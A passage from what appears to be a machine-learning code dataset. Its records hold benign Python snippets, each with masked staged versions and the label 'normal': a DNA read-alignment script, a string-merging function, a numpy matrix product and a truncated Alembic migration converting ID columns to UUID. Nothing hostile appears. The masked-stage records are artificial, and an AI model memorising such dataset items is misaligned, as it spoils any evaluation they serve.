findMaxLCS(read, cassettes, rIndex, cIndex)\n LCS, cIndex = checkGap(LCS, cassettes, cIndex)\n if len(LCS) <= 6:\n if insertnuc(LCS, read, cassettes, rIndex, cIndex) == True:\n insertrec.append(rIndex)\n nuc = findConsensus(cassettes, cIndex)\n cIndex = cIndex + 1\n LCS = LCS + nuc\n else:\n LCS, cIndex = checkGap(LCS, cassettes, cIndex)\n alignedRead = alignedRead + str(LCS)\n print(alignedRead)\n return alignedRead\n\n\ndef main():\n FASTA = input('Enter FASTA file:')\n reference = input('Enter reference file:')\n in_file = open(FASTA, 'r')\n in_file1 = open(reference, 'r')\n line_list = []\n line_list1 = []\n for line in in_file:\n line = line.strip()\n line_list.append(line)\n readnames = line_list[::2]\n reads = line_list[1::2]\n for line1 in in_file1:\n line1 = line1.strip()\n line_list1.append(line1)\n cassettes = line_list1[1::2]\n refnames = line_list1[::2]\n A = []\n for i in reads:\n alignedRead = align(i, cassettes)\n A.append(alignedRead)\n",
"step-5": "#!/usr/bin/python\n#import Bio\n\n \n\ndef findLCS(read, cassette, rIndex, cIndex,cassettes):\n \n LCS=''\n while True:\n if read[rIndex] == cassette[cIndex]:\n LCS+= read[rIndex]\n rIndex= rIndex +1\n cIndex= cIndex +1\n #elif checkLCS(cIndex,cassettes)==True:\n else:\n break\n\n #print(LCS)\n \n return LCS\n\ndef findMaxLCS(read, cassettes, rIndex, cIndex):\n #print(read)\n maxLCS=''\n #print(len(cassettes))\n for i in range (0,len(cassettes)):\n LCS=findLCS(read, cassettes[i],rIndex, cIndex,cassettes)\n \n if len(LCS) > len(maxLCS):\n \n maxLCS=LCS\n \n \n \n rIndex= rIndex+len(maxLCS)\n cIndex= cIndex+len(maxLCS)\n return maxLCS ,rIndex ,cIndex\n\ndef findConsensus(cassettes, cIndex):\n #print (cassettes)\n con=[]\n for i in range(0,len(cassettes[1])-26):\n holder=[]\n for j in range(0,len(cassettes)):\n holder.append(cassettes[j][i])\n con.append(holder)\n con2=[]\n for k in range (0,len(con)):\n if con[k].count('G')==16 or (con[k].count('G')==14) :\n con2.append('g')\n elif con[k].count('A')==16 or (con[k].count('A')==14): #con[k][1]=='-'\n con2.append('a')\n elif con[k].count('C')==16 or (con[k].count('C')==14):\n con2.append('c')\n elif con[k].count('T')==16 or (con[k].count('T')==14):\n con2.append('t')\n elif con[k].count('-')>=10:\n con2.append('-')\n else:\n con2.append('n')\n #print(con) \n #print(con2)\n\n return con2[cIndex]\n\ndef checkGap(LCS, cassettes, cIndex):\n \n #print(rIndex)\n #print(cIndex)\n\n #nuc= findConsensus(cassettes, cIndex)\n #LCS=LCS+ str(nuc)\n #cIndex=cIndex+1\n \n if findConsensus(cassettes, cIndex)== '-':\n LCS=LCS+'-'\n cIndex=cIndex+1\n return LCS, cIndex\n else:\n return LCS, cIndex\n #print(rIndex)\n #elif findConsens\n \n \n #elif (findConsensus(cassettes, cIndex)).isalpha():\n \n \n \n\ndef deletenuc(read, cassettes, rIndex, cIndex):\n\n if len(findMaxLCS(read, cassettes, rIndex+1, cIndex))>=3:\n \n return True\n else:\n return False\n \ndef insertnuc(LCS, read, cassettes, rIndex, cIndex):\n\n if len(findMaxLCS(read, cassettes, rIndex, cIndex+1))>=3:\n return True\n else:\n return False\n\n#def subsnuc(\n \n\n#def checkgaps(\n\n\ndef align(read, cassettes):\n #print(read)\n #print('hi')\n #print(cassettes)\n rIndex=0\n cIndex=0\n alignedRead=''\n LCS=''\n delrec=[]\n insertrec=[]\n substrec=[]\n \n #print(read)\n while rIndex<= len(read):\n #print(read)\n \n #print(len(read))\n #print(rIndex)\n LCS, rIndex, cIndex= findMaxLCS(read, cassettes,rIndex, cIndex)\n #print(rIndex)\n #print(cIndex)\n #print(LCS)\n LCS, cIndex= checkGap(LCS, cassettes,cIndex)\n \n #print(rIndex,cIndex)\n #print(LCS) \n \n #if deletenuc(read, cassettes, rIndex,cIndex)==True:\n #delrec.append(rIndex)\n #rIndex= rIndex+1\n if len(LCS)<=6 :\n #print (LCS, rIndex)\n #print('enter')\n if insertnuc(LCS, read, cassettes, rIndex, cIndex)==True:\n #print(True, LCS)\n insertrec.append(rIndex)\n nuc= findConsensus(cassettes, cIndex)\n cIndex=cIndex+1\n LCS= LCS+nuc\n else:\n LCS, cIndex= checkGap(LCS, cassettes,cIndex)\n \n #elif subsnuc(LCS, read, cassettes, rIndex, cIndex)==True:\n \n\n \n #else:\n # LCS, cIndex= checkLCS(LCS, cassettes,cIndex)\n\n \n \n\n \n # nuc= findConsensus(cassettes, cIndex)\n # LCS= LCS+nuc\n # cIndex=cIndex+1\n # rIndex=rIndex+1\n \n alignedRead= alignedRead+ str(LCS)\n print(alignedRead)\n \n return alignedRead\n\ndef main():\n FASTA=input('Enter FASTA file:')\n reference=input('Enter reference file:')\n in_file=open(FASTA, 'r')\n in_file1=open(reference,'r')\n\n\n line_list=[] \n line_list1=[]\n\n\n\n for line in in_file:\n line=line.strip()\n line_list.append(line)\n readnames=line_list[::2] #list of the read headers\n reads=line_list[1::2] #list of sequences only\n\n for line1 in in_file1:\n line1=line1.strip()\n line_list1.append(line1) \n cassettes=line_list1[1::2]\n refnames=line_list1[::2]\n\n #for i in cassettes:\n # print(len(i))\n #print(cassettes)\n #print(reads)\n A=[]\n for i in reads:\n #print(i[0])\n alignedRead=align(i,cassettes)\n A.append(alignedRead)\n #print(align(i,cassettes))\n #out = open(\"out.txt\", \"w\")\n #out.write(align(i, cassettes)\n #out.close()\n \n #print(A)\n #con=findConsensus(0,cassettes)\n #print(con)\n",
"step-ids": [
4,
5,
6,
7,
9
]
}
|
[
4,
5,
6,
7,
9
] |
def longest(s1, s2):
# your code
s=s1+s2
st="".join(sorted(set(s)))
return st
longest("xyaabbbccccdefww","xxxxyyyyabklmopq")
|
normal
|
{
"blob_id": "7d54d5fd855c7c03d2d4739e8ad4f9ab8772ca2b",
"index": 3977,
"step-1": "<mask token>\n",
"step-2": "def longest(s1, s2):\n s = s1 + s2\n st = ''.join(sorted(set(s)))\n return st\n\n\n<mask token>\n",
"step-3": "def longest(s1, s2):\n s = s1 + s2\n st = ''.join(sorted(set(s)))\n return st\n\n\nlongest('xyaabbbccccdefww', 'xxxxyyyyabklmopq')\n",
"step-4": "def longest(s1, s2):\n # your code\n s=s1+s2\n st=\"\".join(sorted(set(s))) \n return st\n \n \nlongest(\"xyaabbbccccdefww\",\"xxxxyyyyabklmopq\")\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
import numpy as np
n = int(input())
a = [list(map(int, input().split())) for _ in range(n)]
b = [list(map(int, input().split())) for _ in range(n)]
a = np.array(a)
b = np.array(b)
print(np.dot(a, b))
|
normal
|
{
"blob_id": "17b8fec5583f2544bd02a2409528082fa1dc2a1e",
"index": 4107,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(np.dot(a, b))\n",
"step-3": "<mask token>\nn = int(input())\na = [list(map(int, input().split())) for _ in range(n)]\nb = [list(map(int, input().split())) for _ in range(n)]\na = np.array(a)\nb = np.array(b)\nprint(np.dot(a, b))\n",
"step-4": "import numpy as np\nn = int(input())\na = [list(map(int, input().split())) for _ in range(n)]\nb = [list(map(int, input().split())) for _ in range(n)]\na = np.array(a)\nb = np.array(b)\nprint(np.dot(a, b))\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
#
# Copyright (C) 2017 Red Hat, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Change varchar ID to UUID
Revision ID: 1bb42ff54435
Revises: 6bbbf58ed9de
Create Date: 2017-02-07 09:28:37.493302
"""
# revision identifiers, used by Alembic.
revision = '1bb42ff54435'
down_revision = '6bbbf58ed9de'
branch_labels = None
depends_on = None
from alembic import op
def upgrade():
# Drop constraint
op.drop_constraint('component_files_component_id_fkey', 'component_files')
op.drop_constraint('components_topic_id_fkey', 'components')
op.drop_constraint('files_job_id_fkey', 'files')
op.drop_constraint('files_jobstate_id_fkey', 'files')
op.drop_constraint('files_team_id_fkey', 'files')
op.drop_constraint('files_test_id_fkey', 'files')
op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',
'jobdefinition_tests')
op.drop_constraint('jobdefinition_tests_test_id_fkey',
'jobdefinition_tests')
op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')
op.drop_constraint('jobs_team_id_fkey', 'jobs')
op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')
op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')
op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')
op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')
op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')
op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')
op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')
op.drop_constraint('jobstates_team_id_fkey', 'jobstates')
op.drop_constraint('jobstates_job_id_fkey', 'jobstates')
op.drop_constraint('logs_team_id_fkey', 'logs')
op.drop_constraint('logs_user_id_fkey', 'logs')
op.drop_constraint('metas_job_id_fkey', 'metas')
op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')
op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')
op.drop_constraint('remotecis_team_id_fkey', 'remotecis')
op.drop_constraint('tests_team_id_fkey', 'tests')
op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')
op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')
op.drop_constraint('topics_next_topic_fkey', 'topics')
op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')
op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')
op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')
op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')
op.drop_constraint('users_team_id_fkey', 'users')
# Change type
# Table component_files
op.execute("ALTER TABLE component_files ALTER COLUMN component_id TYPE \
UUID USING component_id::uuid")
op.execute("ALTER TABLE component_files ALTER COLUMN id TYPE \
UUID USING id::uuid")
# Table components
op.execute("ALTER TABLE components ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE components ALTER COLUMN topic_id TYPE \
UUID USING topic_id::uuid")
# Table files
op.execute("ALTER TABLE files ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE files ALTER COLUMN jobstate_id TYPE \
UUID USING jobstate_id::uuid")
op.execute("ALTER TABLE files ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
op.execute("ALTER TABLE files ALTER COLUMN job_id TYPE \
UUID USING job_id::uuid")
op.execute("ALTER TABLE files ALTER COLUMN test_id TYPE \
UUID USING test_id::uuid")
# Table issues
op.execute("ALTER TABLE issues ALTER COLUMN id TYPE \
UUID USING id::uuid")
# Table jobdefinition_tests
op.execute("ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id \
TYPE UUID USING jobdefinition_id::uuid")
op.execute("ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE \
UUID USING test_id::uuid")
# Table jobdefinitions
op.execute("ALTER TABLE jobdefinitions ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE \
UUID USING topic_id::uuid")
# Table jobs
op.execute("ALTER TABLE jobs ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE \
UUID USING jobdefinition_id::uuid")
op.execute("ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE \
UUID USING remoteci_id::uuid")
op.execute("ALTER TABLE jobs ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
op.execute("ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE \
UUID USING previous_job_id::uuid")
# Table jobs_components
op.execute("ALTER TABLE jobs_components ALTER COLUMN component_id TYPE \
UUID USING component_id::uuid")
op.execute("ALTER TABLE jobs_components ALTER COLUMN job_id TYPE \
UUID USING job_id::uuid")
# Table jobs_issues
op.execute("ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE \
UUID USING job_id::uuid")
op.execute("ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE \
UUID USING issue_id::uuid")
# Table jobstates
op.execute("ALTER TABLE jobstates ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE jobstates ALTER COLUMN job_id TYPE \
UUID USING job_id::uuid")
op.execute("ALTER TABLE jobstates ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Table logs
op.execute("ALTER TABLE logs ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE logs ALTER COLUMN user_id TYPE \
UUID USING user_id::uuid")
op.execute("ALTER TABLE logs ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Table metas
op.execute("ALTER TABLE metas ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE metas ALTER COLUMN job_id TYPE \
UUID USING job_id::uuid")
# Table remoteci_tests
op.execute("ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE \
UUID USING remoteci_id::uuid")
op.execute("ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE \
UUID USING test_id::uuid")
# Table remotecis
op.execute("ALTER TABLE remotecis ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE remotecis ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Table teams
op.execute("ALTER TABLE teams ALTER COLUMN id TYPE \
UUID USING id::uuid")
# Table tests
op.execute("ALTER TABLE tests ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE tests ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Table topic_tests
op.execute("ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE \
UUID USING topic_id::uuid")
op.execute("ALTER TABLE topic_tests ALTER COLUMN test_id TYPE \
UUID USING test_id::uuid")
# Table topics
op.execute("ALTER TABLE topics ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE topics ALTER COLUMN next_topic TYPE \
UUID USING next_topic::uuid")
# Table topics_teams
op.execute("ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE \
UUID USING topic_id::uuid")
op.execute("ALTER TABLE topics_teams ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Table user_remotecis
op.execute("ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE \
UUID USING user_id::uuid")
op.execute("ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE \
UUID USING remoteci_id::uuid")
# Table users
op.execute("ALTER TABLE users ALTER COLUMN id TYPE \
UUID USING id::uuid")
op.execute("ALTER TABLE users ALTER COLUMN team_id TYPE \
UUID USING team_id::uuid")
# Re-Create constraint
op.create_foreign_key('component_files_component_id_fkey',
'component_files', 'components',
['component_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('components_topic_id_fkey',
'components', 'topics',
['topic_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('files_job_id_fkey',
'files', 'jobs',
['job_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('files_jobstate_id_fkey',
'files', 'jobstates',
['jobstate_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('files_team_id_fkey',
'files', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('files_test_id_fkey',
'files', 'tests',
['test_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',
'jobdefinition_tests', 'jobdefinitions',
['jobdefinition_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobdefinition_tests_test_id_fkey',
'jobdefinition_tests', 'tests',
['test_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobdefinitions_topic_id_fkey',
'jobdefinitions', 'topics',
['topic_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_team_id_fkey',
'jobs', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_jobdefinition_id_fkey',
'jobs', 'jobdefinitions',
['jobdefinition_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_remoteci_id_fkey',
'jobs', 'remotecis',
['remoteci_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_previous_job_id_fkey',
'jobs', 'jobs',
['previous_job_id'], ['id'])
op.create_foreign_key('jobs_components_component_id_fkey',
'jobs_components', 'components',
['component_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_components_job_id_fkey',
'jobs_components', 'jobs',
['job_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_issues_issue_id_fkey',
'jobs_issues', 'issues',
['issue_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobs_issues_job_id_fkey',
'jobs_issues', 'jobs',
['job_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobstates_team_id_fkey',
'jobstates', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('jobstates_job_id_fkey',
'jobstates', 'jobs',
['job_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('logs_team_id_fkey',
'logs', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('logs_user_id_fkey',
'logs', 'users',
['user_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('metas_job_id_fkey',
'metas', 'jobs',
['job_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('remoteci_tests_test_id_fkey',
'remoteci_tests', 'tests',
['test_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('remoteci_tests_remoteci_id_fkey',
'remoteci_tests', 'remotecis',
['remoteci_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('remotecis_team_id_fkey',
'remotecis', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('tests_team_id_fkey',
'tests', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('topic_tests_test_id_fkey',
'topic_tests', 'tests',
['test_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('topic_tests_topic_id_fkey',
'topic_tests', 'topics',
['topic_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('topics_next_topic_fkey',
'topics', 'topics',
['next_topic'], ['id'])
op.create_foreign_key('topics_teams_topic_id_fkey',
'topics_teams', 'topics',
['topic_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('topics_teams_team_id_fkey',
'topics_teams', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('user_remotecis_user_id_fkey',
'user_remotecis', 'users',
['user_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('user_remotecis_remoteci_id_fkey',
'user_remotecis', 'remotecis',
['remoteci_id'], ['id'], ondelete='CASCADE')
op.create_foreign_key('users_team_id_fkey',
'users', 'teams',
['team_id'], ['id'], ondelete='CASCADE')
def downgrade():
pass
|
normal
|
{
"blob_id": "a34584a71fdff65e5b1bb15a6304af79774dac2c",
"index": 1315,
"step-1": "<mask token>\n\n\ndef upgrade():\n op.drop_constraint('component_files_component_id_fkey', 'component_files')\n op.drop_constraint('components_topic_id_fkey', 'components')\n op.drop_constraint('files_job_id_fkey', 'files')\n op.drop_constraint('files_jobstate_id_fkey', 'files')\n op.drop_constraint('files_team_id_fkey', 'files')\n op.drop_constraint('files_test_id_fkey', 'files')\n op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')\n op.drop_constraint('jobs_team_id_fkey', 'jobs')\n op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')\n op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')\n op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')\n op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')\n op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')\n op.drop_constraint('jobstates_team_id_fkey', 'jobstates')\n op.drop_constraint('jobstates_job_id_fkey', 'jobstates')\n op.drop_constraint('logs_team_id_fkey', 'logs')\n op.drop_constraint('logs_user_id_fkey', 'logs')\n op.drop_constraint('metas_job_id_fkey', 'metas')\n op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')\n op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')\n op.drop_constraint('remotecis_team_id_fkey', 'remotecis')\n op.drop_constraint('tests_team_id_fkey', 'tests')\n op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')\n op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')\n op.drop_constraint('topics_next_topic_fkey', 'topics')\n op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')\n op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')\n op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')\n op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')\n op.drop_constraint('users_team_id_fkey', 'users')\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN jobstate_id TYPE UUID USING jobstate_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE issues ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE UUID USING previous_job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE UUID USING issue_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE teams ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN next_topic TYPE UUID USING next_topic::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.create_foreign_key('component_files_component_id_fkey',\n 'component_files', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('components_topic_id_fkey', 'components',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_job_id_fkey', 'files', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_jobstate_id_fkey', 'files', 'jobstates', [\n 'jobstate_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_team_id_fkey', 'files', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_test_id_fkey', 'files', 'tests', [\n 'test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests', 'jobdefinitions', ['jobdefinition_id'], [\n 'id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests', 'tests', ['test_id'], ['id'], ondelete='CASCADE'\n )\n op.create_foreign_key('jobdefinitions_topic_id_fkey', 'jobdefinitions',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_team_id_fkey', 'jobs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_jobdefinition_id_fkey', 'jobs',\n 'jobdefinitions', ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_remoteci_id_fkey', 'jobs', 'remotecis', [\n 'remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_previous_job_id_fkey', 'jobs', 'jobs', [\n 'previous_job_id'], ['id'])\n op.create_foreign_key('jobs_components_component_id_fkey',\n 'jobs_components', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('jobs_components_job_id_fkey', 'jobs_components',\n 'jobs', ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_issue_id_fkey', 'jobs_issues',\n 'issues', ['issue_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_job_id_fkey', 'jobs_issues', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_team_id_fkey', 'jobstates', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_job_id_fkey', 'jobstates', 'jobs', [\n 'job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_team_id_fkey', 'logs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_user_id_fkey', 'logs', 'users', ['user_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('metas_job_id_fkey', 'metas', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n 